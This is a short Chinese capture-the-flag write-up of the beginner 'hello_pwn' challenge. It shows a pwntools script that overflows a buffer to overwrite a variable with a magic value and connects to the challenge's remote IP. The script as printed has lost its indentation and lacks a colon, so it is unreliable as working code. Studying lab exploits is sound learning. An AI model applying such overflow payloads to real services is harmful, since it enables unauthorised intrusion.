当前位置:网站首页>攻防世界新手入门hello_pwn
攻防世界新手入门hello_pwn
2022-06-28 12:07:00 【Day-3】

首先,我们先看一下文件。然后看一下它的保护。
没有什么防护。运行一下试试:
放入IDA中查看,
需要我们在unk_601068上填充数据,然后将dword_60106C地址中的内容覆盖为1853186401.
编写Python代码:
from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 1
def main()
if content == 1:
day3 = process("hello_pwn")
else:
day3 =remote("111.200.241.244",49744)
payload = b'a' * (0x6c - 0x68) + p64(1853186401)
day3.recvuntil("lets get helloworld for bof\n")
day3.sendline(payload)
day3.interactive()
main()
process和remote连接本地程序,也就是常说的打本地和打远程。
加b设为比特流,意为传送数据,p64打包,将数据打包成一个字节流。
得到Flag。
边栏推荐
- Setting overridesorting for canvas does not take effect
- Daily practice of C language - day 4: find the sum of all even numbers within 100
- 【JS】斐波那契数列实现(递归与循环)
- RemoteViews的作用及原理
- 30套JSP网站源代码合集「建议收藏」
- 什么是泛型,怎么使用泛型分析
- 模板_大整数乘法
- Deep learning has a new pit! The University of Sydney proposed a new cross modal task, using text to guide image matting
- Int~long long indicates the maximum and minimum number
- What is the difference between internal oscillator, passive crystal oscillator and active crystal oscillator?
猜你喜欢

RemoteViews的作用及原理

ByteV搭建动态数字孪生网络安全平台----助力网络安全发展

Swin, three degrees! Eth open source VRT: a transformer that refreshes multi domain indicators of video restoration

智联招聘基于 Nebula Graph 的推荐实践分享

已知两个点和中间一个比例的点,求该点坐标

什么是数据合规?怎样做到数据合规?

【C语言】判断三角形

自定义标题栏View

Web3 security serials (3) | in depth disclosure of NFT fishing process and prevention techniques

websocket 1 分钟自动断开连接
随机推荐
MapReduce project case 3 - temperature statistics
Prefix and (one dimension)
Connectionreseterror: [winerror 10054] the remote host forced an existing connection to be closed
C语言 sprintf函数使用详解
MapReduce项目案例1
【经验分享】Django开发中常用到的数据库操作总结
EMC RS485接口EMC电路设计方案
UGUI使用小技巧(六)Unity实现字符串竖行显示
【Unity编辑器扩展基础】、EditorGUILayout(二)
RemoteViews的作用及原理
JNI函数的2种书写方式
【Unity编辑器扩展实践】、查找所有引用该图片的预制体
4. maximum continuity factor
【vi/vim】基本使用及命令汇总
Levels – virtual engine scene production "suggestions collection"
Remoteviews layout and type restriction source code analysis
What are the common modes of financial products in 2022?
【JS】斐波那契数列实现(递归与循环)
Truly understand triode beginner level chapter (Classic) "suggestions collection"
Bisection (integer bisection and floating point bisection)